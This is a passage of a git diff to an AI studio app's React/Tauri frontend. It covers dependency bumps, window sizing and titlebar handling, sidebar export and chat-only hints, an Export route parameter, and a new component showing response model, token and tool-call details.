-86,7 +86,7 @@ "@tanstack/router-core": "1.169.2", "@tanstack/history": "1.161.6", "mermaid": "11.15.0", - "hono": "4.12.21", + "hono": "4.12.25", "qs": "6.15.2", "ip-address": "10.1.1", "brace-expansion@5.0.5": "5.0.6" @@ -107,7 +107,7 @@ "globals": "^17.4.0", "typescript": "~5.9.3", "typescript-eslint": "^8.55.0", - "vite": "^8.0.1" + "vite": "^8.0.16" }, "allowScripts": { "@biomejs/biome@1.9.4": true, diff --git a/studio/frontend/src/app/provider.tsx b/studio/frontend/src/app/provider.tsx index 29644d04cf..176665769d 100644 --- a/studio/frontend/src/app/provider.tsx +++ b/studio/frontend/src/app/provider.tsx @@ -6,6 +6,7 @@ import { UpdateBanner } from "@/components/tauri/update-banner"; import { UpdateScreen } from "@/components/tauri/update-screen"; import { WindowTitlebar, + shouldUseNativeMacWindowTitlebar, shouldUseCustomWindowTitlebar, } from "@/components/tauri/window-titlebar"; import { Toaster } from "@/components/ui/sonner"; @@ -18,9 +19,16 @@ import { NativeIntentDrain } from "@/features/native-intents/native-intent-drain import { useTauriBackend, type BackendStatus } from "@/hooks/use-tauri-backend"; import { useTauriUpdate } from "@/hooks/use-tauri-update"; import { isTauri } from "@/lib/api-base"; +import { fetchDeviceType } from "@/config/env"; import { useRouterState } from "@tanstack/react-router"; import { ThemeProvider } from "next-themes"; -import { useEffect, useRef, useState, type ReactNode } from "react"; +import { + useEffect, + useRef, + useState, + type CSSProperties, + type ReactNode, +} from "react"; interface AppProviderProps { children: ReactNode; @@ -31,18 +39,43 @@ type WindowLayoutGuard = () => boolean; const MIN_WINDOW_WIDTH = 900; const MIN_WINDOW_HEIGHT = 600; +const SETUP_WINDOW_WIDTH = 760; +const SETUP_WINDOW_HEIGHT = 560; async function showSetupWindow(isCurrent: WindowLayoutGuard): Promise { - const { getCurrentWindow } = await import("@tauri-apps/api/window"); + const { getCurrentWindow, LogicalSize } = await import("@tauri-apps/api/window"); if (!isCurrent()) return; const win = getCurrentWindow(); + await win.setResizable(false); + if (!isCurrent()) return; + await win.setSize(new LogicalSize(SETUP_WINDOW_WIDTH, SETUP_WINDOW_HEIGHT)); if (!isCurrent()) return; await win.center(); if (!isCurrent()) return; await win.show(); } +async function enforceMinimumWindowSize( + win: Awaited>, + LogicalSize: typeof import("@tauri-apps/api/window")["LogicalSize"], + isCurrent: WindowLayoutGuard, +): Promise { + const [innerSize, scaleFactor] = await Promise.all([ + win.innerSize(), + win.scaleFactor(), + ]); + if (!isCurrent()) return; + + const logicalWidth = Math.round(innerSize.width / scaleFactor); + const logicalHeight = Math.round(innerSize.height / scaleFactor); + const nextWidth = Math.max(logicalWidth, MIN_WINDOW_WIDTH); + const nextHeight = Math.max(logicalHeight, MIN_WINDOW_HEIGHT); + if (nextWidth !== logicalWidth || nextHeight !== logicalHeight) { + await win.setSize(new LogicalSize(nextWidth, nextHeight)); + } +} + async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise { const { getCurrentWindow, currentMonitor, LogicalSize } = await import("@tauri-apps/api/window"); const { invoke } = await import("@tauri-apps/api/core"); @@ -91,6 +124,8 @@ async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise // Apply constraints after restore/show: doing so before plugin restore can emit // a Resized event and overwrite the plugin's cached saved size. await win.setSizeConstraints({ minWidth: MIN_WINDOW_WIDTH, minHeight: MIN_WINDOW_HEIGHT }); + if (!isCurrent()) return; + await enforceMinimumWindowSize(win, LogicalSize, isCurrent); } async function showWindowFallback(): Promise { @@ -123,7 +158,13 @@ function getTauriWindowMode( } } -function TauriUpdateLayer({ isExternalServer }: { isExternalServer: boolean }) { +function TauriUpdateLayer({ + isExternalServer, + children, +}: { + isExternalServer: boolean; + children?: ReactNode; +}) { const update = useTauriUpdate(isExternalServer); const isUpdating = update.status === "updating-backend" || @@ -146,18 +187,22 @@ function TauriUpdateLayer({ isExternalServer }: { isExternalServer: boolean }) { } return ( - +
+ + {children} +
); } @@ -175,6 +220,35 @@ const WEB_UPDATE_HIDDEN_ROUTES = new Set([ "/signup", ]); +const MAC_NATIVE_CHROME_STYLE = { + "--studio-titlebar-height": "0px", + "--studio-mac-titlebar-height": "34px", + "--studio-mac-traffic-light-inset": "78px", + "--studio-startup-top-inset": "58px", + "--studio-content-top-inset": "0px", + "--studio-non-chat-content-top-inset": "34px", + "--studio-hidden-route-top-inset": "34px", + "--studio-chat-header-height": "44px", + "--studio-chat-header-padding-top": "8px", + "--studio-chat-control-height": "33px", + "--studio-chat-header-right-inset": "0px", +} as CSSProperties; + +const CUSTOM_CHROME_STYLE = { + "--studio-titlebar-height": "0px", + "--studio-custom-titlebar-height": "34px", + "--studio-sidebar-expanded-width": "17.5rem", + "--studio-sidebar-collapsed-width": "3rem", + "--studio-startup-top-inset": "42px", + "--studio-content-top-inset": "34px", + "--studio-hidden-route-top-inset": "34px", + "--studio-chat-header-height": "48px", + "--studio-chat-header-padding-top": "9px", + "--studio-chat-control-height": "33px", + "--studio-chat-header-right-inset": "0px", + "--studio-window-control-inset": "112px", +} as CSSProperties; + function TauriWrapper({ children }: { children: ReactNode }) { const pathname = useRouterState({ select: (s) => s.location.pathname }); const { @@ -254,11 +328,17 @@ function TauriWrapper({ children }: { children: ReactNode }) { return () => { disposed = true; }; }, [status, desktopAuthRetry]); + useEffect(() => { + if (!isTauri || status !== "running" || !desktopAuthReady) return; + void fetchDeviceType({ force: true }).catch(() => undefined); + }, [status, desktopAuthReady]); + if (!isTauri) { return ( <> {children} - + {/* One bottom-right stack so overlays never overlap; they stack with a + gap, download panel anchored at the corner with banners above. */}
+
); } - const showApp = status === "running" && desktopAuthReady; + const showApp = status === "running"; + const desktopBooting = status === "running" && !desktopAuthReady; + const showInteractiveApp = showApp && desktopAuthReady; const startupStatus = status === "running" ? "starting" : status; - const startupProgressDetail = - status === "running" && !desktopAuthReady - ? "Signing in to desktop session..." - : progressDetail; + const startupProgressDetail = progressDetail; + const usesCustomTitlebar = shouldUseCustomWindowTitlebar(); + const usesNativeMacTitlebar = shouldUseNativeMacWindowTitlebar(); + const hidesTitlebarSidebar = HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname); const content = showApp ? ( <> - - - {children} - + + + {showInteractiveApp ? : null} + + {showInteractiveApp ? : null} + {showInteractiveApp ? children : null} + {desktopBooting ? ( +
+
+
Preparing Studio
+
The local backend is ready. Signing in to your desktop session before loading chats.
+
+
+ Signing in to desktop session... +
+
+ ) : null} ) : ( ); - if (!shouldUseCustomWindowTitlebar()) { + if (!usesCustomTitlebar) { // macOS desktop uses the native titlebar and returns here before the // custom-titlebar branch, so mount the updater banner on this path too. + if (usesNativeMacTitlebar) { + return ( +
+ {(!showApp || hidesTitlebarSidebar) ? ( + + ); + } + return ( - <> - {content} - - + <>{content} ); } const showSidebarSurface = - showApp && !HIDDEN_TITLEBAR_SIDEBAR_ROUTES.has(pathname); + showApp && !hidesTitlebarSidebar; return ( -
+
-
+
{content}
-
); } diff --git a/studio/frontend/src/app/router.tsx b/studio/frontend/src/app/router.tsx index 5c18e637e2..586c03d5df 100644 --- a/studio/frontend/src/app/router.tsx +++ b/studio/frontend/src/app/router.tsx @@ -10,7 +10,6 @@ import { Route as dataRecipesRoute } from "./routes/data-recipes"; import { Route as dataRecipeRoute } from "./routes/data-recipes.$recipeId"; import { Route as chatRoute } from "./routes/chat"; import { Route as exportRoute } from "./routes/export"; -import { Route as gridTestRoute } from "./routes/grid-test"; import { Route as indexRoute } from "./routes/index"; import { Route as loginRoute } from "./routes/login"; import { Route as hubRoute } from "./routes/hub"; @@ -25,7 +24,6 @@ const routeTree = rootRoute.addChildren([ onboardingRoute, loginRoute, changePasswordRoute, - gridTestRoute, hubRoute, settingsRoute, studioRoute, diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx index f4f40e73f6..8c6ddd197a 100644 --- a/studio/frontend/src/app/routes/__root.tsx +++ b/studio/frontend/src/app/routes/__root.tsx @@ -5,7 +5,10 @@ import { AppSidebar } from "@/components/app-sidebar"; import { Navbar } from "@/components/navbar"; import { fetchDeviceType, usePlatformStore } from "@/config/env"; import { SidebarInset, SidebarProvider } from "@/components/ui/sidebar"; -import { SettingsDialog, useSettingsDialogStore } from "@/features/settings"; +import { + SettingsDialog, + useSettingsDialogStore, +} from "@/features/settings"; import { ChatPage, clearNewChatDraft, @@ -15,6 +18,8 @@ import { import { RemoteCodeConsentDialog } from "@/features/security"; import { useTrainingUnloadGuard } from "@/features/training"; import { useExportRuntimeLifecycle } from "@/features/export"; +import { hasAuthToken } from "@/features/auth"; +import { usePersonalizationSync } from "@/features/profile"; import { useSidebarPin } from "@/hooks/use-sidebar-pin"; import { useT, type TranslationKey } from "@/i18n"; import { @@ -52,6 +57,11 @@ function RouteFallback() { ); } +function PersonalizationSyncMount() { + usePersonalizationSync(hasAuthToken()); + return null; +} + const CHAT_ONLY_ALLOWED = new Set([ "/", "/chat", @@ -60,6 +70,9 @@ const CHAT_ONLY_ALLOWED = new Set([ "/login", "/signup", "/change-password", + // Export stays reachable on chat-only hosts so the page can show its own grayed-out reason + // instead of a silent redirect; it self-gates via export capability, so nothing runs. + "/export", ]); function isChatOnlyAllowed(pathname: string): boolean { @@ -172,7 +185,9 @@ function RootLayout() { chatRuntime.setActiveThreadId(null); chatRuntime.setActiveProjectId(null); chatRuntime.setIncognito(false); - if (chatRuntime.pendingSelection) chatRuntime.abandonStagedModel(); + // Detach the staging UI but keep any in-flight download running, like Hub. + if (chatRuntime.pendingSelection) + chatRuntime.abandonStagedModel({ keepDownload: true }); void navigate({ to: "/chat", search: { new: crypto.randomUUID() }, @@ -195,15 +210,19 @@ function RootLayout() { chatRuntime.setActiveProjectId(null); chatRuntime.setActiveThreadId(null); chatRuntime.setIncognito(false); - if (chatRuntime.pendingSelection) chatRuntime.abandonStagedModel(); + // Leaving chat must not kill an in-flight download: detach the staging UI + // but keep the transfer running in the manager, like a Hub download. + if (chatRuntime.pendingSelection) + chatRuntime.abandonStagedModel({ keepDownload: true }); }, [isChatRoute]); return ( + {hideNavbar ? ( -
+
}> @@ -219,7 +238,7 @@ function RootLayout() {
{/* Stays mounted across navigation so an in-flight generation is not cancelled when leaving /chat; hidden (not unmounted) off-route. diff --git a/studio/frontend/src/app/routes/export.tsx b/studio/frontend/src/app/routes/export.tsx index c0356c823f..40118c6a92 100644 --- a/studio/frontend/src/app/routes/export.tsx +++ b/studio/frontend/src/app/routes/export.tsx @@ -12,10 +12,19 @@ const ExportPage = lazy(() => })), ); +export type ExportSearch = { + // Preselect a training run on the Export page (its output-dir basename, which + // equals the checkpoint scan's model name). Set when arriving from a run view. + run?: string; +}; + export const Route = createRoute({ getParentRoute: () => rootRoute, path: "/export", staticData: { title: "Export" }, beforeLoad: () => requireAuth(), + validateSearch: (search: Record): ExportSearch => ({ + run: typeof search.run === "string" ? search.run : undefined, + }), component: ExportPage, }); diff --git a/studio/frontend/src/app/routes/grid-test.tsx b/studio/frontend/src/app/routes/grid-test.tsx deleted file mode 100644 index c4b6b505a1..0000000000 --- a/studio/frontend/src/app/routes/grid-test.tsx +++ /dev/null @@ -1,69 +0,0 @@ -// SPDX-License-Identifier: AGPL-3.0-only -// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -import { DashboardGrid, DashboardLayout } from "@/components/layout"; -import { - Card, - CardContent, - CardDescription, - CardHeader, - CardTitle, -} from "@/components/ui/card"; -import { createRoute } from "@tanstack/react-router"; -import { requireAuth } from "../auth-guards"; -import { Route as rootRoute } from "./__root"; - -export const Route = createRoute({ - getParentRoute: () => rootRoute, - path: "/grid-test", - beforeLoad: () => requireAuth(), - component: GridTestPage, -}); - -function GridTestPage() { - return ( - -
-
-

Grid Test - 3 Columns

-

- max-w-7xl, gap-6, responsive 1→2→3 -

-
- - - {[1, 2, 3].map((i) => ( - - - Card {i} - ~400px at 1280px viewport - - -
- - - ))} - - -
-

4 Columns

-

~296px per card at 1280px

-
- - - {[1, 2, 3, 4].map((i) => ( - - - Card {i} - Smaller cards - - -
- - - ))} - -
- - ); -} diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx index 00d6347a64..1a74b38524 100644 --- a/studio/frontend/src/components/app-sidebar.tsx +++ b/studio/frontend/src/components/app-sidebar.tsx @@ -44,9 +44,17 @@ import { Button } from "@/components/ui/button"; import { Spinner } from "@/components/ui/spinner"; import { Switch } from "@/components/ui/switch"; import { useAnimatedThemeToggle } from "@/components/ui/animated-theme-toggler"; +import { + shouldUseCustomWindowTitlebar, + shouldUseNativeMacWindowTitlebar, +} from "@/components/tauri/window-titlebar"; import { cn } from "@/lib/utils"; +import { isTauri } from "@/lib/api-base"; +import { useWebUpdateCheck } from "@/hooks/use-web-update-check"; import { Archive03Icon, + ArrowRight02Icon, + BadgeInfoIcon, ChefHatIcon, CursorInfo02Icon, DashboardCircleIcon, @@ -68,17 +76,11 @@ import { PowerIcon, PencilEdit02Icon, LayoutAlignLeftIcon, - Setting07Icon, + Settings02Icon, Sun03Icon, TestTube01Icon, ZapIcon, } from "@hugeicons/core-free-icons"; -import { - exportConversationRawJsonl, - exportConversationCsv, - exportConversationShareGPT, -} from "@/features/chat/prompt-storage/prompt-storage-dialog"; -import { listStoredChatThreads } from "@/features/chat/utils/chat-history-storage"; import { Tooltip, TooltipContent, @@ -94,6 +96,7 @@ import { createChatProject, deleteChatProject, deleteChatItem, + listStoredChatThreads, moveChatItemToProject, renameChatItem, renameChatProject, @@ -108,13 +111,14 @@ import { } from "@/features/chat"; import { useSettingsDialogStore } from "@/features/settings"; import { useEffectiveProfile, UserAvatar } from "@/features/profile"; -import { usePlatformStore } from "@/config/env"; +import { fetchDeviceType, usePlatformStore } from "@/config/env"; import { clearAuthTokens, logout } from "@/features/auth"; import { TOUR_OPEN_EVENT } from "@/features/tour"; import { deleteTrainingRun, emitTrainingRunDeleted, emitTrainingRunUpdated, + getTrainingRunDisplayTitle, removeTrainingUnloadGuard, renameTrainingRun, useTrainingCompletionWatch, @@ -165,6 +169,36 @@ const TestTubeOutlineIcon = TestTube01Icon.slice( 3, ) as typeof TestTube01Icon; + +type ConversationExportFormat = "raw-jsonl" | "csv" | "sharegpt-jsonl"; + +const CHAT_EXPORT_OPTIONS: Array<{ + label: string; + format: ConversationExportFormat; +}> = [ + { label: "Raw JSONL", format: "raw-jsonl" }, + { label: "CSV", format: "csv" }, + { label: "ShareGPT JSONL", format: "sharegpt-jsonl" }, +]; + +async function exportConversationByFormat( + threadId: string, + format: ConversationExportFormat, +): Promise { + const exports = await import( + "@/features/chat/prompt-storage/prompt-storage-dialog" + ); + switch (format) { + case "raw-jsonl": + return exports.exportConversationRawJsonl(threadId); + case "csv": + return exports.exportConversationCsv(threadId); + case "sharegpt-jsonl": + return exports.exportConversationShareGPT(threadId); + } +} + + function runStatusDotClass(status: TrainingRunSummary["status"]): string { switch (status) { case "running": @@ -211,6 +245,7 @@ function NavItem({ dataTour, className, spinner, + tooltip, }: { icon: typeof ZapIcon; label: string; @@ -221,12 +256,15 @@ function NavItem({ dataTour?: string; className?: string; spinner?: boolean; + // Overrides the hover tooltip (defaults to `label`). Used to explain why a + // disabled item (e.g. Train/Export on a chat-only host) is greyed out. + tooltip?: string; }) { return (
({ pathname: s.location.pathname, @@ -261,12 +301,45 @@ export function AppSidebar() { const { togglePinned, isMobile, setOpenMobile } = useSidebar(); const navigate = useNavigate(); + // Web update detection: `webUpdate` is non-null only when the installed + // (PyPI) version is behind the latest release, so the card is hidden by + // default. + const { status: webUpdate } = useWebUpdateCheck(); + const showUpdateCard = Boolean(webUpdate); + const updateVersion = webUpdate?.latestVersion ?? null; + // Auto-close mobile Sheet after navigation const closeMobileIfOpen = () => { if (isMobile) setOpenMobile(false); }; const chatOnly = usePlatformStore((s) => s.isChatOnly()); + const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason); + // Explain a greyed-out Train (chat-only host) on hover instead of disabling silently. Export is + // no longer disabled here: it stays navigable so its page can show a precise grayed-out reason. + const trainDisabledHint: string | undefined = !chatOnly + ? undefined + : chatOnlyReason === "mlx_unavailable" + ? "Training needs MLX. Run `unsloth studio update` to enable Train." + : chatOnlyReason === "intel_mac" + ? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only." + : chatOnlyReason === "no_gpu" + ? "Training needs an NVIDIA or AMD GPU." + : undefined; + + // The backend MLX self-heal (utils/mlx_repair) can reinstall MLX in the + // background and flip chat_only false without a restart. The platform store + // cached the initial /api/health, so re-poll while we are chat-only for the + // recoverable mlx_unavailable case; the effect stops once Train/Export become + // available (chatOnly flips false and this effect's guard returns early). + useEffect(() => { + if (!chatOnly || chatOnlyReason !== "mlx_unavailable") return; + const id = window.setInterval(() => { + void fetchDeviceType({ force: true }).catch(() => undefined); + }, 15000); + return () => window.clearInterval(id); + }, [chatOnly, chatOnlyReason]); + const [shutdownOpen, setShutdownOpen] = useState(false); const isChatRoute = pathname.startsWith("/chat"); @@ -311,7 +384,11 @@ export function AppSidebar() { const activeProjectId = isChatRoute ? ((search.project as string | undefined) ?? null) : null; - const { items: allChatItems } = useChatSidebarItems({ + const { + items: allChatItems, + archivedItems: archivedChatItems, + loaded: chatItemsLoaded, + } = useChatSidebarItems({ enabled: !isStudioRoute, requireMessages: false, }); @@ -397,9 +474,14 @@ export function AppSidebar() { chatOpen, trainOpen, runsOpen, + pinnedOpen, isStudioRoute, ]); + const chatDisabled = trainingInProgress; + const showSidebarBrand = !usesCustomTitlebar; + const showCompactMacBrand = showSidebarBrand && usesNativeMacTitlebar; + function chatSearchForProject(projectId: string | null) { if (projectId) { return { project: projectId }; @@ -500,7 +582,14 @@ export function AppSidebar() { useEffect(() => { if (!pendingRename) return; const match = allChatItems.find((i) => i.id === pendingRename.id); - if (match && match.title === pendingRename.title) setPendingRename(null); + if (!match || match.title !== pendingRename.title) return; + queueMicrotask(() => { + setPendingRename((current) => + current?.id === pendingRename.id && current.title === pendingRename.title + ? null + : current, + ); + }); }, [allChatItems, pendingRename]); const [creatingProject, setCreatingProject] = useState(false); const [projectNameDraft, setProjectNameDraft] = useState(""); @@ -523,7 +612,7 @@ export function AppSidebar() { setRenamingTarget({ kind: "chat", item, current: item.title }); } function openRenameRun(run: TrainingRunSummary) { - const current = run.display_name ?? run.model_name; + const current = getTrainingRunDisplayTitle(run); setRenameDraft(current); setRenamingTarget({ kind: "run", run, current }); } @@ -598,12 +687,6 @@ export function AppSidebar() { useState(null); const [deleteProjectFiles, setDeleteProjectFiles] = useState(false); - useEffect(() => { - if (confirmingDelete?.kind !== "project") { - setDeleteProjectFiles(false); - } - }, [confirmingDelete]); - async function commitDelete() { const target = confirmingDelete; if (!target) return; @@ -842,11 +925,7 @@ export function AppSidebar() { Export - {[ - { label: "Raw JSONL", fn: exportConversationRawJsonl }, - { label: "CSV", fn: exportConversationCsv }, - { label: "ShareGPT JSONL", fn: exportConversationShareGPT }, - ].map(({ label, fn }) => ( + {CHAT_EXPORT_OPTIONS.map(({ label, format }) => ( { @@ -854,7 +933,9 @@ export function AppSidebar() { const ids = item.type === "single" ? [item.id] : (await listStoredChatThreads({ pairId: item.id })).map((t) => t.id); - await Promise.all(ids.map((id) => fn(id))); + await Promise.all( + ids.map((id) => exportConversationByFormat(id, format)), + ); } catch { toast.error("Export failed."); } @@ -925,81 +1006,118 @@ export function AppSidebar() { variant="sidebar" className="font-heading group-data-[collapsible=icon]:[&_[data-sidebar=sidebar]]:bg-white dark:group-data-[collapsible=icon]:[&_[data-sidebar=sidebar]]:bg-background" > - - {/* Expanded: compact logo + close toggle */} -
- { - event.preventDefault(); - openNewChat(null); - }} - className="flex items-center gap-[6px] select-none" - aria-label={t("shell.aria.home")} - > - Unsloth - - unsloth - - - {t("shell.beta")} - - - {!isMobile && ( - - - - - - {t("shell.aria.closeSidebar")} - - - )} -
- - {/* Collapsed: panel icon doubles as expand trigger */} - {!isMobile && ( -
- - - - - - {t("shell.aria.openSidebar")} - - -
+ Unsloth + + unsloth + + + {t("shell.beta")} + + + )} + {!isMobile && ( + + + + + + {t("shell.aria.closeSidebar")} + + + )} +
+ {!isMobile && ( +
+ + + + + + {t("shell.aria.openSidebar")} + + +
+ )} + )} {/* Uniform pl-1.5 pr-2 keeps every hover pill the same width, inset from the edge. */} - + syncScrollState(e.currentTarget)} + // Collapsible groups animate their height; re-measure the fade once the + // open/close animation settles, not on the (still-animating) state flip. + onAnimationEnd={(e) => { + if ( + e.animationName === "collapsible-down" || + e.animationName === "collapsible-up" + ) { + syncScrollState(e.currentTarget); + } + }} className={cn( // pb-2 keeps the last row's rounded highlight clear of the // overflow clip edge so its bottom corners aren't shaved off. @@ -1105,6 +1233,7 @@ export function AppSidebar() { pathname === "/studio" || pathname.startsWith("/studio/") } disabled={chatOnly} + tooltip={trainDisabledHint} spinner={trainingInProgress} onClick={() => { if (chatOnly) return; @@ -1133,6 +1262,7 @@ export function AppSidebar() { label={t("shell.navigation.train")} active={pathname === "/studio" || pathname.startsWith("/studio/")} disabled={chatOnly} + tooltip={trainDisabledHint} spinner={trainingInProgress} onClick={() => { if (chatOnly) return; @@ -1153,10 +1283,8 @@ export function AppSidebar() { icon={DownloadSquare01Icon} label={t("shell.navigation.export")} active={pathname === "/export" || pathname.startsWith("/export/")} - disabled={chatOnly} spinner={exportInProgress} onClick={() => { - if (chatOnly) return; navigate({ to: "/export" }); closeMobileIfOpen(); }} @@ -1206,6 +1334,16 @@ export function AppSidebar() { renderChatSidebarItem(item, "recent"), )} + {/* "No chats yet" only when there is truly no history: + project-scoped and archived threads leave Recents empty + but still count as existing chats. */} + {chatItemsLoaded && + allChatItems.length === 0 && + archivedChatItems.length === 0 && ( +

+ {t("shell.navigation.noChatsYet")} +

+ )} @@ -1258,7 +1396,7 @@ export function AppSidebar() { aria-hidden /> - {run.display_name ?? run.model_name} + {getTrainingRunDisplayTitle(run)} {formatRelativeShort(run.started_at)} @@ -1314,18 +1452,75 @@ export function AppSidebar() { )} - + {/* Fade above the profile box, shown only when there's more list below the fold; at the bottom (or short lists) it fades so the last row shows fully (Gemini-style). right-2 keeps it clear of the 8px scrollbar gutter. */} {/* settings cog (replaces the up/down chevron) */} - + useSettingsDialogStore.getState().openDialog()} > - + {t("shell.navigation.settings")} ⌘, @@ -1373,9 +1573,6 @@ export function AppSidebar() { > {t("shell.navigation.api")} - - {t("common.new")} - } @@ -1412,25 +1609,29 @@ export function AppSidebar() { {t("common.help")} - { - // Best-effort server revocation; ignore network errors so - // the local clear still runs and the user lands on /login. - try { - await logout(); - } catch { - clearAuthTokens(); - } - void navigate({ to: "/login" }); - }} - > - - {t("shell.navigation.logOut")} - - setShutdownOpen(true)}> - - {t("common.shutdown")} - + {!isTauri && ( + { + // Best-effort server revocation; ignore network errors so + // the local clear still runs and the user lands on /login. + try { + await logout(); + } catch { + clearAuthTokens(); + } + void navigate({ to: "/login" }); + }} + > + + {t("shell.navigation.logOut")} + + )} + {!isTauri && ( + setShutdownOpen(true)}> + + {t("common.shutdown")} + + )} @@ -1438,11 +1639,13 @@ export function AppSidebar() { - + {!isTauri && ( + + )} { @@ -1466,8 +1669,7 @@ export function AppSidebar() { renderEmphasizedTranslation( t, "shell.dialog.deleteRun.description", - confirmingDelete.run.display_name ?? - confirmingDelete.run.model_name, + getTrainingRunDisplayTitle(confirmingDelete.run), ) ) : confirmingDelete?.kind === "chat" ? ( renderEmphasizedTranslation( diff --git a/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx new file mode 100644 index 0000000000..331a06a4c6 --- /dev/null +++ b/studio/frontend/src/components/assistant-ui/message-response-details-sheet.tsx @@ -0,0 +1,483 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"use client"; + +import { + Sheet, + SheetContent, + SheetDescription, + SheetHeader, + SheetTitle, +} from "@/components/ui/sheet"; +import { + customProviderDisplayName, + parseExternalModelId, + useChatPreferencesStore, + useChatRuntimeStore, + useExternalProvidersStore, +} from "@/features/chat"; +import { cn } from "@/lib/utils"; +import { HelpCircleIcon } from "@hugeicons/core-free-icons"; +import { HugeiconsIcon } from "@hugeicons/react"; +import { useMessage, useMessageTiming } from "@assistant-ui/react"; +import type { FC, ReactNode } from "react"; + +type ResponseDetailsMetadata = { + modelId?: string; + modelLabel?: string; + responseModelId?: string; + providerId?: string; + providerName?: string; + providerType?: string; + startedAt?: number; + finishedAt?: number; + durationMs?: number; + sessionId?: string | null; + cancelId?: string; + toolCalls?: string[]; + tools?: Record; +}; + +type ContextUsageMetadata = { + promptTokens?: number; + completionTokens?: number; + totalTokens?: number; + cachedTokens?: number; + cacheWriteTokens?: number; + modelId?: string; +}; + +type MessageCustomMetadata = { + responseDetails?: ResponseDetailsMetadata; + contextUsage?: ContextUsageMetadata; + serverTimings?: Record; + reasoningDuration?: number; +}; + +function asNumber(value: unknown): number | undefined { + return typeof value === "number" && Number.isFinite(value) + ? value + : undefined; +} + +function formatNumber(value: number | undefined): string | null { + return value == null ? null : value.toLocaleString(); +} + +function formatMs(value: number | undefined): string | null { + if (value == null) return null; + if (value < 1000) return `${Math.round(value)}ms`; + return `${(value / 1000).toFixed(2)}s`; +} + +function formatRate(value: number | undefined): string | null { + if (value == null) return null; + return `${value.toFixed(1)} tok/s`; +} + +function formatDate(value: Date | number | string | undefined): string | null { + if (value == null) return null; + const date = value instanceof Date ? value : new Date(value); + if (Number.isNaN(date.getTime())) return null; + return new Intl.DateTimeFormat(undefined, { + dateStyle: "medium", + timeStyle: "medium", + }).format(date); +} + +const TOOL_CATEGORY_LABELS: Record = { + search: "Search", + fetch: "Fetch", + code: "Code", + images: "Images", + mcp: "MCP", + docs: "Docs", + artifacts: "Canvas", +}; + +const TOOL_CALL_LABELS: Record = { + web_search: "Search", + web_fetch: "Fetch", + code_execution: "Code", + python: "Python", + terminal: "Terminal", + image_generation: "Images", + search_knowledge_base: "Docs", + render_html: "Canvas", +}; + +function uniqueValues(values: string[]): string[] { + return Array.from(new Set(values)); +} + +function toolCategoryFromCall(toolName: string): string | null { + const normalized = toolName.toLowerCase(); + if (normalized === "web_search") return "search"; + if (normalized === "web_fetch") return "fetch"; + if ( + normalized === "code_execution" || + normalized === "python" || + normalized === "terminal" + ) { + return "code"; + } + if (normalized === "image_generation") return "images"; + if (normalized === "search_knowledge_base") return "docs"; + if (normalized === "render_html") return "artifacts"; + if (normalized.startsWith("mcp__")) return "mcp"; + return null; +} + +function formatToolCallName(toolName: string): string { + const normalized = toolName.toLowerCase(); + if (TOOL_CALL_LABELS[normalized]) return TOOL_CALL_LABELS[normalized]; + if (normalized.startsWith("mcp__")) return `MCP: ${toolName.slice(5)}`; + return toolName + .replace(/[_-]+/g, " ") + .replace(/\b\w/g, (letter) => letter.toUpperCase()); +} + +function toolCallsFromContent(content: unknown): string[] { + if (!Array.isArray(content)) return []; + return uniqueValues( + content + .map((part) => + part && typeof part === "object" && "type" in part + ? (part as { type?: unknown; toolName?: unknown }) + : null, + ) + .filter( + (part): part is { type: "tool-call"; toolName: string } => + part?.type === "tool-call" && + typeof part.toolName === "string" && + part.toolName.length > 0, + ) + .map((part) => part.toolName), + ); +} + +function enabledTools( + tools: Record | undefined, + toolCalls: string[], +): string | null { + if (!tools && toolCalls.length === 0) return null; + const activeKeys = new Set(); + for (const key of Object.keys(TOOL_CATEGORY_LABELS)) { + if (tools?.[key] === true) activeKeys.add(key); + } + for (const toolName of toolCalls) { + const key = toolCategoryFromCall(toolName); + if (key) activeKeys.add(key); + } + const active = Object.keys(TOOL_CATEGORY_LABELS) + .filter((key) => activeKeys.has(key)) + .map((key) => TOOL_CATEGORY_LABELS[key]); + return active.length > 0 ? active.join(", ") : "None"; +} + +function calledTools(toolCalls: string[]): string | null { + if (toolCalls.length === 0) return null; + return uniqueValues(toolCalls.map(formatToolCallName)).join(", "); +} + +function DetailSection({ + title, + children, +}: { + title: string; + children: ReactNode; +}) { + return ( +
+

{title}

+
{children}
+
+ ); +} + +function DetailRow({ + label, + value, + mono = false, +}: { + label: string; + value: ReactNode | null | undefined; + mono?: boolean; +}) { + if (value == null || value === "") return null; + return ( +
+ {label} + + {value} + +
+ ); +} + +function useResponseModelDisplay() { + const message = useMessage(); + const models = useChatRuntimeStore((s) => s.models); + const providers = useExternalProvidersStore((s) => s.providers); + + const custom = ( + message.metadata as Record | undefined + )?.custom as MessageCustomMetadata | undefined; + const responseDetails = custom?.responseDetails; + const usage = custom?.contextUsage; + const serverTimings = custom?.serverTimings; + + const recordedModelId = + responseDetails?.responseModelId ?? + responseDetails?.modelId ?? + usage?.modelId; + const parsedExternal = parseExternalModelId(recordedModelId); + const provider = parsedExternal + ? providers.find((candidate) => candidate.id === parsedExternal.providerId) + : null; + const modelSummary = models.find( + (candidate) => candidate.id === recordedModelId, + ); + const modelLabel = + responseDetails?.modelLabel ?? + responseDetails?.responseModelId ?? + parsedExternal?.modelId ?? + modelSummary?.name ?? + recordedModelId ?? + "Not recorded"; + const providerLabel = + responseDetails?.providerName ?? + provider?.name ?? + (responseDetails?.providerType + ? customProviderDisplayName(responseDetails.providerType) + : parsedExternal + ? customProviderDisplayName(provider?.providerType) + : recordedModelId + ? "Local model" + : null); + + return { + message, + custom, + responseDetails, + usage, + serverTimings, + modelLabel, + providerLabel, + }; +} + +export const MessageResponseModelBadge: FC<{ className?: string }> = ({ + className, +}) => { + const showResponseModel = useChatPreferencesStore( + (state) => state.showResponseModel, + ); + const { 